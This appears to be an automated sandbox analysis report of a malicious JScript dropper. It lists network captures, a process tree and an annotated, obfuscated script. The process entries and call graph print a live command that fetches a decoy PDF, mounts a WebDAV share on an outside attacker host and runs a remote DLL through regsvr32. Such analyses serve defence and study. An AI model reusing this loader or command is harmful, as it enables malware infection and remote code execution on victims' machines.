HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49787	193.143.1.205	80	7804	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 16:18:08.113861084 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 16:18:08.931574106 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 15:18:08 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 16:18:08.931593895 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 16:18:08.931619883 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 16:18:08.931637049 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 16:18:08.931653976 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 16:18:08.931669950 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 16:18:08.931730032 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 16:18:08.931746006 CET	1236	IN	Data Raw: c3 00 fa 39 2c 4f 25 7b e5 0c 5a 53 69 75 a2 35 55 74 a1 57 d3 bc ac 95 f7 99 47 97 b3 97 68 91 61 12 5d 22 83 16 ee b4 6b 19 7f 9e fa 1f 47 00 be 4c 95 ff a6 8f cf 93 1b 0b fd e4 77 e4 3e 76 3b 72 4d 0c bd bc e8 62 e8 e9 c9 6d 13 43 0f 5d 0c 35 Data Ascii: 9,O%{ZSiu5UtWGha]"kGLw>v;rMbmC]5GR91g}\|~yS0XmIr%&zu6"Oa508J)$*eer\|S\UP6B]=tWS&)wCNkJV
Jan 10, 2025 16:18:08.931761026 CET	1236	IN	Data Raw: c9 e5 e9 2b 94 0b 33 d7 e6 f3 f1 d2 3d b4 be 84 5e b9 93 31 e5 f3 a5 fe 67 06 7c 12 2d 3f 63 e1 d3 95 fb 91 00 2d f7 63 00 e1 13 58 98 8c 0e 7f 18 a0 fc 6a e6 de 6c b9 57 33 bd d3 56 ef a1 fe 26 93 8b f2 85 22 69 ba 76 ee 2e 17 0e f9 e6 d2 76 fd Data Ascii: +3=^1g\|-?c-cXjlW3V&"iv.v6wzo;CKjv>v;r}mM18C=T~M)1'}xzc(Nj4bZs%T@.QO=P2>jPOjR??GVjDS1#N]E<<]ap
Jan 10, 2025 16:18:08.931777954 CET	776	IN	Data Raw: 38 14 c0 76 ac 90 4a b0 cb dc 58 e8 a7 e1 8e dc 41 0c 75 07 86 a6 18 7a 56 8e a1 7b a5 ee 19 3c f6 a2 18 7a 38 8f a1 e7 67 71 0c bd ef 63 e8 e8 b1 a1 c4 d0 b5 9a fa e6 04 00 00 30 0d be 58 02 80 2d 30 37 d5 fa 05 b9 7e f4 cc 9c f7 f7 ce 91 d3 24 Data Ascii: 8vJXAuzV{<z8gqc0X-07~$3G{hI0 ?ASw$Ut#*G@"y[4QI2US&R=Tg>As%=V_r=]X^[ZX\.YF{)y'p&Z'Q/kV~[W
Jan 10, 2025 16:18:08.936665058 CET	1232	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49799	193.143.1.205	8888	8048	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 16:18:10.314786911 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 16:18:11.130620003 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 15:18:11 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	10:18:01
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\30562134305434372.js"
Imagebase:	0x7ff70b200000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:18:03
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll
Imagebase:	0x7ff717a70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:18:03
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:18:03
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:18:09
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	10:18:09
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff717a70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:18:09
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff773750000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:18:10
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	10:18:10
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	10:18:10
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1720,i,18097075523433456659,17666624130765866465,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ppqhhu() {	ppqhhu() ➔ undefined
1	yumpp = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var nxbgy = this[byggaqbdc + luzribufh + atjwfegw + iborvb + bdltb + qiwofhdy + qvvejkhug + tjmurlxo] ( this[bpnvynokg + okyge + teebls + atjwfegw + acqizvftq + byggaqbdc + tjmurlxo][ourlbmz + atjwfegw + bdltb + luzribufh + tjmurlxo + bdltb + bnjsxt + bpoyktbix + pgyzyv + bdltb + teebls + tjmurlxo] ( bpnvynokg + okyge + teebls + atjwfegw + acqizvftq + byggaqbdc + tjmurlxo + xoxtt + okyge + sognluz + bdltb + nytfevjl + nytfevjl ) [piqoblfz + bdltb + tokek + piqoblfz + bdltb + luzribufh + aagxxecwv] ( pdkta + xcprpbbfu + zjeqmwhj + avbulvo + ycnjhtkp + ourlbmz + ezpwbqo + piqoblfz + piqoblfz + zjeqmwhj + ffspp + cngbhoiv + ycnjhtkp + ezpwbqo + okyge + zjeqmwhj + piqoblfz + wyjzxrgj + ourlbmz + yrglb + qvvejkhug + tjmurlxo + atjwfegw + yrglb + nytfevjl + eimhu + wzqrnazb + luzribufh + qvvejkhug + bdltb + nytfevjl + wyjzxrgj + qiwofhdy + qvvejkhug + tjmurlxo + bdltb + atjwfegw + qvvejkhug + luzribufh + tjmurlxo + acqizvftq + yrglb + qvvejkhug + luzribufh + nytfevjl + wyjzxrgj + oygkjlzgh + yrglb + teebls + luzribufh + nytfevjl + bdltb ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( pmjsmdup = 0 ; pmjsmdup < yumpp[nytfevjl + bdltb + qvvejkhug + tokek + tjmurlxo + sognluz] ; ++ pmjsmdup )
4	{
5	if ( nxbgy == yumpp[pmjsmdup] )
6	{
7	nxbgy = true;
8	break ;
9	}
10	}
11	if ( nxbgy !== true )
12	this[bpnvynokg + okyge + teebls + atjwfegw + acqizvftq + byggaqbdc + tjmurlxo][vrcfxzxk + wbvfzz + acqizvftq + tjmurlxo] ( );
13	this[bpnvynokg + okyge + teebls + atjwfegw + acqizvftq + byggaqbdc + tjmurlxo][ourlbmz + atjwfegw + bdltb + luzribufh + tjmurlxo + bdltb + bnjsxt + bpoyktbix + pgyzyv + bdltb + teebls + tjmurlxo] ( bpnvynokg + okyge + teebls + atjwfegw + acqizvftq + byggaqbdc + tjmurlxo + xoxtt + okyge + sognluz + bdltb + nytfevjl + nytfevjl ) [atjwfegw + wbvfzz + qvvejkhug] ( teebls + kfkclem + aagxxecwv + eimhu + ooiwarkxz + teebls + eimhu + byggaqbdc + yrglb + lopuxqkv + bdltb + atjwfegw + iborvb + sognluz + bdltb + nytfevjl + nytfevjl + xoxtt + bdltb + wudoeg + bdltb + eimhu + ypuibswlp + ourlbmz + yrglb + kfkclem + kfkclem + luzribufh + qvvejkhug + aagxxecwv + eimhu + omhosobf + qiwofhdy + qvvejkhug + pmtfpup + yrglb + hjfpzdbu + bdltb + ypuibswlp + bpnvynokg + bdltb + bpoyktbix + piqoblfz + bdltb + hqgey + wbvfzz + bdltb + iborvb + tjmurlxo + eimhu + ypuibswlp + bnjsxt + wbvfzz + tjmurlxo + emwacpcdo + acqizvftq + nytfevjl + bdltb + eimhu + vzqgef + tjmurlxo + bdltb + kfkclem + byggaqbdc + vzqgef + wyjzxrgj + acqizvftq + qvvejkhug + pmtfpup + yrglb + acqizvftq + teebls + bdltb + xoxtt + byggaqbdc + aagxxecwv + ytvdoymzj + eimhu + sognluz + tjmurlxo + tjmurlxo + byggaqbdc + ltgkrik + ooiwarkxz + ooiwarkxz + fgmes + xihihbhvf + alirxzlj + xoxtt + fgmes + ihqxb + alirxzlj + xoxtt + fgmes + xoxtt + uxwavdmnd + ikgaprenr + yqazar + ooiwarkxz + acqizvftq + qvvejkhug + pmtfpup + yrglb + acqizvftq + teebls + bdltb + xoxtt + byggaqbdc + sognluz + byggaqbdc + omhosobf + trnpqjtui + trnpqjtui + iborvb + tjmurlxo + luzribufh + atjwfegw + tjmurlxo + eimhu + vzqgef + tjmurlxo + bdltb + kfkclem + byggaqbdc + vzqgef + wyjzxrgj + acqizvftq + qvvejkhug + pmtfpup + yrglb + acqizvftq + teebls + bdltb + xoxtt + byggaqbdc + aagxxecwv + ytvdoymzj + trnpqjtui + trnpqjtui + teebls + kfkclem + aagxxecwv + eimhu + ooiwarkxz + teebls + eimhu + qvvejkhug + bdltb + tjmurlxo + eimhu + wbvfzz + iborvb + bdltb + eimhu + wyjzxrgj + wyjzxrgj + fgmes + xihihbhvf + alirxzlj + xoxtt + fgmes + ihqxb + alirxzlj + xoxtt + fgmes + xoxtt + uxwavdmnd + ikgaprenr + yqazar + ikxjabel + lnwtdhu + lnwtdhu + lnwtdhu + lnwtdhu + wyjzxrgj + aagxxecwv + luzribufh + pmtfpup + lopuxqkv + lopuxqkv + lopuxqkv + atjwfegw + yrglb + yrglb + tjmurlxo + wyjzxrgj + trnpqjtui + trnpqjtui + teebls + kfkclem + aagxxecwv + eimhu + ooiwarkxz + teebls + eimhu + atjwfegw + bdltb + tokek + iborvb + pmtfpup + atjwfegw + alirxzlj + uxwavdmnd + eimhu + ooiwarkxz + iborvb + eimhu + wyjzxrgj + wyjzxrgj + fgmes + xihihbhvf + alirxzlj + xoxtt + fgmes + ihqxb + alirxzlj + xoxtt + fgmes + xoxtt + uxwavdmnd + ikgaprenr + yqazar + ikxjabel + lnwtdhu + lnwtdhu + lnwtdhu + lnwtdhu + wyjzxrgj + aagxxecwv + luzribufh + pmtfpup + lopuxqkv + lopuxqkv + lopuxqkv + atjwfegw + yrglb + yrglb + tjmurlxo + wyjzxrgj + lnwtdhu + ivxmt + uxwavdmnd + fgmes + uxwavdmnd + fgmes + ikgaprenr + ivxmt + ihqxb + yqazar + ihqxb + ivxmt + ikgaprenr + xoxtt + aagxxecwv + nytfevjl + nytfevjl, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8621210645460.dll",0,false) ➔ 0
14	}
15	omhosobf = "Y";
16	omhosobf = "B";
17	omhosobf = "b";
18	omhosobf = "i";
19	omhosobf = "X";
20	omhosobf = "\"";
21	wbvfzz = "f";
22	wbvfzz = "x";
23	wbvfzz = "a";
24	wbvfzz = "T";
25	wbvfzz = "e";
26	wbvfzz = "a";
27	wbvfzz = "d";
28	wbvfzz = "z";
29	wbvfzz = "r";
30	wbvfzz = "Q";
31	wbvfzz = "d";
32	wbvfzz = "j";
33	wbvfzz = "E";
34	wbvfzz = "G";
35	wbvfzz = "k";
36	wbvfzz = "W";
37	wbvfzz = "o";
38	wbvfzz = "z";
39	wbvfzz = "v";
40	wbvfzz = "U";
41	wbvfzz = "M";
42	wbvfzz = "u";
43	ytvdoymzj = "K";
44	ytvdoymzj = "e";
45	ytvdoymzj = "e";
46	ytvdoymzj = "c";
47	ytvdoymzj = "u";
48	ytvdoymzj = "Y";
49	ytvdoymzj = "r";
50	ytvdoymzj = "S";
51	ytvdoymzj = "f";
52	avbulvo = "A";
53	avbulvo = "J";
54	avbulvo = "N";
55	avbulvo = "o";
56	avbulvo = "a";
57	avbulvo = "o";
58	avbulvo = "U";
59	avbulvo = "x";
60	avbulvo = "a";
61	avbulvo = "y";
62	avbulvo = "n";
63	avbulvo = "j";
64	avbulvo = "m";
65	avbulvo = "Y";
66	bdltb = "H";
67	bdltb = "n";
68	bdltb = "m";
69	bdltb = "o";
70	bdltb = "b";
71	bdltb = "F";
72	bdltb = "I";
73	bdltb = "V";
74	bdltb = "E";
75	bdltb = "t";
76	bdltb = "m";
77	bdltb = "k";
78	bdltb = "m";
79	bdltb = "t";
80	bdltb = "u";
81	bdltb = "a";
82	bdltb = "s";
83	bdltb = "d";
84	bdltb = "K";
85	bdltb = "q";
86	bdltb = "s";
87	bdltb = "m";
88	bdltb = "Z";
89	bdltb = "N";
90	bdltb = "S";
91	bdltb = "Z";
92	bdltb = "h";
93	bdltb = "M";
94	bdltb = "e";
95	ourlbmz = "O";
96	ourlbmz = "J";
97	ourlbmz = "v";
98	ourlbmz = "L";
99	ourlbmz = "j";
100	ourlbmz = "s";
101	ourlbmz = "L";
102	ourlbmz = "p";
103	ourlbmz = "T";
104	ourlbmz = "o";
105	ourlbmz = "a";
106	ourlbmz = "T";
107	ourlbmz = "j";
108	ourlbmz = "D";
109	ourlbmz = "D";
110	ourlbmz = "w";
111	ourlbmz = "f";
112	ourlbmz = "K";
113	ourlbmz = "x";
114	ourlbmz = "L";
115	ourlbmz = "H";
116	ourlbmz = "m";
117	ourlbmz = "C";
118	emwacpcdo = "G";
119	emwacpcdo = "J";
120	emwacpcdo = "E";
121	emwacpcdo = "w";
122	emwacpcdo = "q";
123	emwacpcdo = "e";
124	emwacpcdo = "B";
125	emwacpcdo = "F";
126	emwacpcdo = "g";
127	emwacpcdo = "w";
128	emwacpcdo = "u";
129	emwacpcdo = "H";
130	emwacpcdo = "B";
131	emwacpcdo = "D";
132	emwacpcdo = "z";
133	emwacpcdo = "B";
134	emwacpcdo = "b";
135	emwacpcdo = "j";
136	emwacpcdo = "Q";
137	emwacpcdo = "O";
138	emwacpcdo = "b";
139	emwacpcdo = "z";
140	emwacpcdo = "o";
141	emwacpcdo = "m";
142	emwacpcdo = "D";
143	emwacpcdo = "V";
144	emwacpcdo = "Q";
145	emwacpcdo = "v";
146	emwacpcdo = "N";
147	emwacpcdo = "x";
148	emwacpcdo = "x";
149	emwacpcdo = "e";
150	emwacpcdo = "d";
151	emwacpcdo = "A";
152	emwacpcdo = "G";
153	emwacpcdo = "o";
154	emwacpcdo = "S";
155	emwacpcdo = "L";
156	emwacpcdo = "T";
157	emwacpcdo = "u";
158	emwacpcdo = "p";
159	emwacpcdo = "w";
160	emwacpcdo = "T";
161	emwacpcdo = "F";
162	fgmes = "y";
163	fgmes = "k";
164	fgmes = "Y";
165	fgmes = "Z";
166	fgmes = "X";
167	fgmes = "R";
168	fgmes = "l";
169	fgmes = "k";
170	fgmes = "h";
171	fgmes = "Q";
172	fgmes = "B";
173	fgmes = "Q";
174	fgmes = "a";
175	fgmes = "Z";
176	fgmes = "i";
177	fgmes = "W";
178	fgmes = "R";
179	fgmes = "U";
180	fgmes = "P";
181	fgmes = "T";
182	fgmes = "z";
183	fgmes = "C";
184	fgmes = "S";
185	fgmes = "F";
186	fgmes = "1";
187	ffspp = "q";
188	ffspp = "n";
189	ffspp = "v";
190	ffspp = "l";
191	ffspp = "y";
192	ffspp = "p";
193	ffspp = "k";
194	ffspp = "t";
195	ffspp = "c";
196	ffspp = "i";
197	ffspp = "H";
198	ffspp = "M";
199	ffspp = "e";
200	ffspp = "Y";
201	ffspp = "J";
202	ffspp = "q";
203	ffspp = "O";
204	ffspp = "o";
205	ffspp = "e";
206	ffspp = "m";
207	ffspp = "m";
208	ffspp = "U";
209	ffspp = "P";
210	ffspp = "j";
211	ffspp = "Z";
212	ffspp = "x";
213	ffspp = "x";
214	ffspp = "R";
215	ffspp = "G";
216	ffspp = "S";
217	ffspp = "r";
218	ffspp = "N";
219	vrcfxzxk = "O";
220	vrcfxzxk = "W";
221	vrcfxzxk = "W";
222	vrcfxzxk = "Y";
223	vrcfxzxk = "g";
224	vrcfxzxk = "h";
225	vrcfxzxk = "I";
226	vrcfxzxk = "l";
227	vrcfxzxk = "e";
228	vrcfxzxk = "b";
229	vrcfxzxk = "m";
230	vrcfxzxk = "x";
231	vrcfxzxk = "G";
232	vrcfxzxk = "N";
233	vrcfxzxk = "I";
234	vrcfxzxk = "x";
235	vrcfxzxk = "o";
236	vrcfxzxk = "x";
237	vrcfxzxk = "F";
238	vrcfxzxk = "Q";
239	vrcfxzxk = "b";
240	vrcfxzxk = "z";
241	vrcfxzxk = "b";
242	vrcfxzxk = "F";
243	vrcfxzxk = "e";
244	vrcfxzxk = "v";
245	vrcfxzxk = "v";
246	vrcfxzxk = "a";
247	vrcfxzxk = "Q";
248	xcprpbbfu = "P";
249	xcprpbbfu = "a";
250	xcprpbbfu = "e";
251	xcprpbbfu = "o";
252	xcprpbbfu = "e";
253	xcprpbbfu = "B";
254	xcprpbbfu = "l";
255	xcprpbbfu = "v";
256	xcprpbbfu = "w";
257	xcprpbbfu = "T";
258	xcprpbbfu = "q";
259	xcprpbbfu = "t";
260	xcprpbbfu = "u";
261	xcprpbbfu = "A";
262	xcprpbbfu = "p";
263	xcprpbbfu = "O";
264	xcprpbbfu = "I";
265	xcprpbbfu = "N";
266	xcprpbbfu = "S";
267	xcprpbbfu = "Z";
268	xcprpbbfu = "U";
269	xcprpbbfu = "V";
270	xcprpbbfu = "A";
271	xcprpbbfu = "g";
272	xcprpbbfu = "P";
273	xcprpbbfu = "O";
274	xcprpbbfu = "w";
275	xcprpbbfu = "K";
276	xcprpbbfu = "K";
277	eimhu = "S";
278	eimhu = "t";
